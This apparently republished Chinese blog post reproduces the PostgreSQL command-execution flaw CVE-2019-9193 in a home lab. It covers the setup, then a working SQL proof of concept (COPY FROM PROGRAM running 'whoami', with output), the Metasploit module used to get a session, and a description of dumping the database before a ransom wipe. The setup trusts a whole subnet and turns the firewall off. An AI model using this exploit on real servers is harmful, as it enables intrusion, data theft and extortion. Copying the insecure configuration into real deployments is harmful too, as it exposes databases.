漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)及被勒索回忆
为了复现这样一个漏洞需要首先配置目标靶机,整体测试环境如下:漏洞名称CVE-2019-9193漏洞影响PostgreSQL版本9.3-11.2漏洞影响平台windows+Linux+Mac OS测试硬件环境win10(家庭版)虚拟机版本ubuntu18.04本次PostgreSQL版本10.18win10与ubuntu虚拟机连接方式桥接kali攻击机ip192.168.31.68靶机ip
为了复现这样一个漏洞需要首先配置目标靶机,整体测试环境如下:
漏洞名称 | CVE-2019-9193 |
漏洞影响PostgreSQL版本 | 9.3-11.2 |
漏洞影响平台 | windows+Linux+Mac OS |
测试硬件环境 | win10(家庭版) |
虚拟机版本 | ubuntu18.04 |
本次PostgreSQL版本 | 10.18 |
win10与ubuntu虚拟机连接方式 | 桥接 |
kali攻击机ip | 192.168.31.68 |
靶机ip | 192.168.31.9 |
网关 | 192.168.31.0 |
1.在本地windows10(家庭版)安装ubuntu18.04虚拟机
windows10现在已经支持以应用的放式安装Linux虚拟机,具体就是在microsoft store搜索ubuntu,如图:
2.安装postgresql数据库
apt update
apt install postgresql postgresql-contrib
安装完会自动启动,如果没有自动启动请根据报错参考其他,我这边当时报了 /var/lib/postgresql/10/main权限不足导致PostgreSQL启动失败,通过命令
chmod 700 -R /var/lib/postgresql/10/main解决,最后验证pg服务是否正常运行
service postgresql status
3.配置数据远程登录权限
在文件pg_hba.conf(一般为/etc/postgresql/pg_hba.conf)末尾添加
host all all 192.168.31.0/24 trust
添加后大概为:
# replication privilege.
local replication all peer
host replication all 127.0.0.1/32 md5
host replication all ::1/128 md5
host all all 192.168.31.0/24 trust
还需修改postgresql.conf中的
#listen_addresses = 'localhost'为
listen_addresses = '*'即去掉注释,允许监听所有主机
4.win10与虚拟机桥接
4.1 安装Hyper-V
由于win10家庭版是没有自带Hyper-V(微软实现的类似VMware的虚拟技术),需要手动安装,复制下面代码到txt记事本文件中,并修改文件名为Hyper-V.cmd
pushd "%~dp0"
dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt
for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i"
del hyper-v.txt
Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL找到文件,右键点击,选择“以管理员身份运行”,运行后,自动打开命令行执行相关命令,执行到最后根据提示让输入Y或N,输入Y,重启电脑...
重启成功后,Hyper-V安装完成。
详情参考:win10 家庭中文版没有Hyper-V,这样安装一步搞定
4.2 创建桥接
在开始里搜Hyper-V找到管理器,如图:
如果找不到Hyper-V管理器,建议再重启一下电脑
详情参考:https://blog.csdn.net/sinat_36203615/article/details/77969800创建网桥,并桥接,桥接成功如图:
5.验证网络连通性
配置到这里kali(渗透主机)应该就可以登录postgresql虚拟机了,
psql -h 192.168.31.9 -U postgres -p 5432
但是我这边还是连不上pg服务,这里需要注意一下你的虚拟机ubuntu18.04上启动的pg服务,是否是在5432默认端口,我通过查看配置文件发现是在5433端口(由于win10上也装了pg数据库,端口占用就自动换了吧),然后再次连接:
psql -h 192.168.31.9 -U postgres -p 5433
依然失败!最后发现是win10的防火墙拦截导致,关闭防火墙即可
6.复现[CVE-2019-9193]漏洞
先手动感受一波:
psql -h 192.168.31.9 -U postgres -p 5433
postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'whoami';
COPY 1
postgres=# SELECT * FROM cmd_exec;
cmd_output
------------
postgres
(1 行记录)
此时已经成功的执行了whoami命令,接下来用metasploit工具走一波:
使用exploit/multi/postgres/postgres_copy_from_program_cmd_exec模块
参数配置如图:
建立session通道后效果如图:
通过pg_dump命令对postgres数据库备份到/tmp/hacktest.sql文件
再接下来就是删除数据,留下比特币的支付id,就如我曾经遭遇过的一样:
原文出自: http://pyspiderking.cn/index.php/2021/08/15/pg-cve-2019-9193/
更多推荐
所有评论(0)